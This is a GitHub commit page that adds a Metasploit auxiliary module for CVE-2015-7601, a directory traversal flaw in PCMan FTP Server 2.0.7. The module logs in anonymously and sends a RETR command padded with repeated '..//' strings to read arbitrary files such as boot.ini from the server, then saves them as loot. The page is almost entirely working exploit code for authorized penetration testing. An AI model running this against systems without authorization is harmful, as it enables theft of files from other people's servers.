Skip to content

Commit c79a66b

Browse files
committed
Land rapid7#6204, directory traversal for PCMan FTP server
CVE-2015-7601
2 parents 7ad42c2 + e6e5bde commit c79a66b

File tree

1 file changed

+95
-0
lines changed

1 file changed

+95
-0
lines changed
Lines changed: 95 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::Ftp
11+
include Msf::Auxiliary::Report
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure',
17+
'Description' => %q{
18+
This module exploits a directory traversal vulnerability found in PCMan FTP Server 2.0.7.
19+
This vulnerability allows an attacker to download arbitrary files from the server by crafting
20+
a RETR command that includes file system traversal strings such as '..//'
21+
},
22+
'Platform' => 'win',
23+
'Author' =>
24+
[
25+
'Jay Turla', # @shipcod3, msf and initial discovery
26+
'James Fitts', # initial discovery
27+
'Brad Wolfe <brad.wolfe[at]gmail.com>'
28+
],
29+
'License' => MSF_LICENSE,
30+
'References' =>
31+
[
32+
[ 'EDB', '38340'],
33+
[ 'CVE', '2015-7601']
34+
],
35+
'DisclosureDate' => 'Sep 28 2015'
36+
))
37+
38+
register_options(
39+
[
40+
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),
41+
OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini'])
42+
], self.class)
43+
end
44+
45+
def check_host(ip)
46+
begin
47+
connect
48+
if /220 PCMan's FTP Server 2\.0/i === banner
49+
return Exploit::CheckCode::Appears
50+
end
51+
ensure
52+
disconnect
53+
end
54+
55+
Exploit::CheckCode::Safe
56+
end
57+
58+
def run_host(target_host)
59+
begin
60+
# Login anonymously and open the socket that we'll use for data retrieval.
61+
connect_login
62+
sock = data_connect
63+
file_path = datastore['PATH']
64+
file = ::File.basename(file_path)
65+
66+
# make RETR request and store server response message...
67+
retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"
68+
res = send_cmd( ["RETR", retr_cmd])
69+
70+
# read the file data from the socket that we opened
71+
response_data = sock.read(1024)
72+
73+
if response_data.length == 0 or ! (res =~ /^150/ )
74+
print_status("File (#{file_path})from #{peer} is empty...")
75+
return
76+
end
77+
78+
# store file data to loot
79+
loot_file = store_loot("pcman.ftp.data", "text", rhost, response_data, file, file_path)
80+
vprint_status("Data returned:\n")
81+
vprint_line(response_data)
82+
print_good("Stored #{file_path} to #{loot_file}")
83+
84+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
85+
vprint_error(e.message)
86+
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
87+
rescue ::Timeout::Error, ::Errno::EPIPE => e
88+
vprint_error(e.message)
89+
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
90+
ensure
91+
data_disconnect
92+
disconnect
93+
end
94+
end
95+
end

0 commit comments

Comments
 (0)